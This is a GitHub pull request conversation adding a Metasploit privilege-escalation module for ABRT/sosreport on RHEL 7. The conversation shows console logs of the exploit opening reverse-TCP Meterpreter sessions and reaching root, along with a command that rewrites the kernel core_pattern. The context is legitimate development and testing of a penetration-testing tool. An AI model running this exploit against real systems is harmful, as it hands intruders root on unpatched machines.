Add ABRT sosreport Privilege Escalation module #11762

bcoles · 2019-04-20T11:36:19Z

Lazy wrapper for rebel's sosreport-rhel7.py exploit.

Red Hat Enterprise Linux 7.0 (x64)

msf5 > use exploit/linux/local/abrt_sosreport_priv_esc 
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-12.el7 is vulnerable
[+] python is installed
[*] Writing '/tmp/.DcxBT2w' (2756 bytes) ...
[*] Writing '/tmp/.HUAWYz' (207 bytes) ...
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.151
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.151:50843) at 2019-04-20 07:21:24 -0400
[+] Deleted /tmp/.DcxBT2w
[+] Deleted /tmp/.HUAWYz
[+] Deleted /tmp/hax.sh
[*] waiting for sosreport to finish (can take several minutes)....................

meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat Enterprise Linux 7 (Linux 3.10.0-123.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

Red Hat Enterprise Linux 7.1 (x64)

msf5 > use exploit/linux/local/abrt_sosreport_priv_esc 
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-19.el7 is vulnerable
[+] python is installed
[*] Writing '/tmp/.gFrwiGr' (2756 bytes) ...
[*] Writing '/tmp/.NA4fwK' (207 bytes) ...
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.218
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.218:51022) at 2019-04-20 07:23:24 -0400
[*] waiting for sosreport to finish (can take several minutes)..............

meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

modules/exploits/linux/local/abrt_sosreport_priv_esc.rb

wchen-r7 · 2019-05-24T15:20:15Z

I'm looking for Redhat 7.1 but it seems their website only provides 7.2 at the minimum... could you please find me a link for 7.1?

bcoles · 2019-05-24T15:24:14Z

I'm looking for Redhat 7.1 but it seems their website only provides 7.2 at the minimum... could you please find me a link for 7.1?

You'll need to sign up as a Red Hat developer, auth to SSO, and then navigate to the correct portal. This can be achieved in 47 simple steps.

No rush. I'll need to address the above issue before this lands.

wchen-r7 · 2019-05-24T15:29:29Z

47 steps!? Wow it's almost like they don't want you to get it.

bcoles · 2019-05-24T15:36:51Z

47 steps!? Wow it's almost like they don't want you to get it.

Go here: https://access.redhat.com/downloads/content/69/
Login
Select 7.1 from the drop down
Select RHEL 7.1 Binary DVD

Edit: [not shown above: the 43 steps required to register and find that link]

wchen-r7 · 2019-05-24T20:52:14Z

Thank you.

bwatters-r7 · 2019-06-03T21:56:25Z

FWIW, the changes work as expected, though this is not vulnerable:

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.135.168:4567 
[*] Sending stage (3021284 bytes) to 192.168.134.103
[*] Meterpreter session 1 opened (192.168.135.168:4567 -> 192.168.134.103:57530) at 2019-06-03 16:26:14 -0500

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.6.1810 (Linux 3.10.0-957.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/linux/local/abrt_sosreport_priv_esc 
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run

[*] Started reverse TCP handler on 192.168.135.168:4444 
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[*] ABRT package version 2.1.11-52.el7.centos is not vulnerable
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable. Set ForceExploit to override.
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/abrt_sosreport_priv_esc) >

I'm downloading a CentOS 7.0 iso right now and will try that tomorrow if this is still up.

bcoles · 2019-06-03T23:34:51Z

I'm downloading a CentOS 7.0 iso right now and will try that tomorrow if this is still up.

You'll need RHEL, not CentOS.

h00die · 2019-07-17T00:11:24Z

Is ABRT the default? I have a 7.1 server x64 VM, and at least on it I got "System is not configured to use ABRT for crash reporting"
Re-installing my 7.0 server to check it

bcoles · 2019-07-17T07:31:32Z

Is ABRT the default? I have a 7.1 server x64 VM, and at least on it I got "System is not configured to use ABRT for crash reporting"
Re-installing my 7.0 server to check it

I believe so. That seems like the kind of thing I would have documented if it weren't default.

Both my RHEL 7.0 and RHEL 7.1 had ABRT configured as the crash handler.

I checked the shell history on both test boxes and found no indication that I'd changed the core pattern.

The advisory also indicates that it is the default crash handler:

A can be used to elevate privileges from an unprivileged user to root
on a default installation of RHEL 7/7.1. RHEL 6 and lower do not seem
vulnerable by default.

Changing the core_pattern is easy if you want to check the vulnerability:

echo "|/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e" > /proc/sys/kernel/core_pattern

But my guess is that your RHEL 7.1 system is likely not vulnerable, as 7.1 was released on 2015-03-05 and the bug was dropped about 6 months later on 2015-11-23. If you're installed updates any time in the last 4 years it will be patched.

space-r7 · 2019-09-24T14:34:01Z

Successfully tested against RHEL 7.1:

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Sending stage (985320 bytes) to 192.168.37.163
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.163:58254) at 2019-09-24 09:23:15 -0500

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/linux/local/abrt_sosreport_priv_esc 
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > check

[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-19.el7 is vulnerable
[+] python is installed
[*] The target appears to be vulnerable.
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-19.el7 is vulnerable
[+] python is installed
[*] Writing '/tmp/.Zw6rGJ2' (2756 bytes) ...
[*] Writing '/tmp/.38QS1nWv' (207 bytes) ...
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 192.168.37.163
[*] waiting for sosreport to finish (can take several minutes)......................................................................
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.163:58255) at 2019-09-24 09:25:52 -0500
[+] Deleted /tmp/.38QS1nWv
[+] Deleted /tmp/hax.sh

meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

space-r7 · 2019-09-24T14:55:53Z

Release Notes

This adds a module that attempts to gain root privileges through a symlink attack by exploiting the Automatic Bug Reporting Tool (ABRT) before v2.7.1.

bcoles added module docs labels Apr 20, 2019

bcoles added 3 commits April 20, 2019 11:48

Add ABRT sosreport Privilege Escalation module

e714f90

Add sosreport-rhel7.py

a5b894d

Remove unused variable

ba03a0c

bcoles mentioned this pull request May 17, 2019

Module Request: Linux Local abrt/sosreport #7445

Closed

bwatters-r7 reviewed May 23, 2019

View reviewed changes

modules/exploits/linux/local/abrt_sosreport_priv_esc.rb Outdated Show resolved Hide resolved

bcoles added the blocked Blocked by one or more additional tasks label May 24, 2019

Fix abrt package version check

ca8c72d

bcoles removed the blocked Blocked by one or more additional tasks label May 29, 2019

bcoles mentioned this pull request Jun 10, 2019

abrt_raceabrt_priv_esc: Fix abrt package version check #11958

Merged

jrobles-r7 assigned jrobles-r7 and unassigned jrobles-r7 Jun 25, 2019

space-r7 self-assigned this Sep 24, 2019

space-r7 added a commit that referenced this pull request Sep 24, 2019

Land #11762, add sosreport privesc

4710322

space-r7 merged commit ca8c72d into rapid7:master Sep 24, 2019

msjenkins-r7 pushed a commit that referenced this pull request Sep 24, 2019

Land #11762, add sosreport privesc

e2878b0

bcoles deleted the abrt_sosreport_priv_esc branch September 25, 2019 06:42

tperry-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 30, 2019

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add ABRT sosreport Privilege Escalation module #11762

Add ABRT sosreport Privilege Escalation module #11762

bcoles commented Apr 20, 2019

wchen-r7 commented May 24, 2019

bcoles commented May 24, 2019

wchen-r7 commented May 24, 2019

bcoles commented May 24, 2019 •

edited

Loading

wchen-r7 commented May 24, 2019

bwatters-r7 commented Jun 3, 2019

bcoles commented Jun 3, 2019

h00die commented Jul 17, 2019

bcoles commented Jul 17, 2019

space-r7 commented Sep 24, 2019

space-r7 commented Sep 24, 2019

Add ABRT sosreport Privilege Escalation module #11762

Add ABRT sosreport Privilege Escalation module #11762

Conversation

bcoles commented Apr 20, 2019

Red Hat Enterprise Linux 7.0 (x64)

Red Hat Enterprise Linux 7.1 (x64)

wchen-r7 commented May 24, 2019

bcoles commented May 24, 2019

wchen-r7 commented May 24, 2019

bcoles commented May 24, 2019 • edited Loading

wchen-r7 commented May 24, 2019

bwatters-r7 commented Jun 3, 2019

bcoles commented Jun 3, 2019

h00die commented Jul 17, 2019

bcoles commented Jul 17, 2019

space-r7 commented Sep 24, 2019

space-r7 commented Sep 24, 2019

Release Notes

bcoles commented May 24, 2019 •

edited

Loading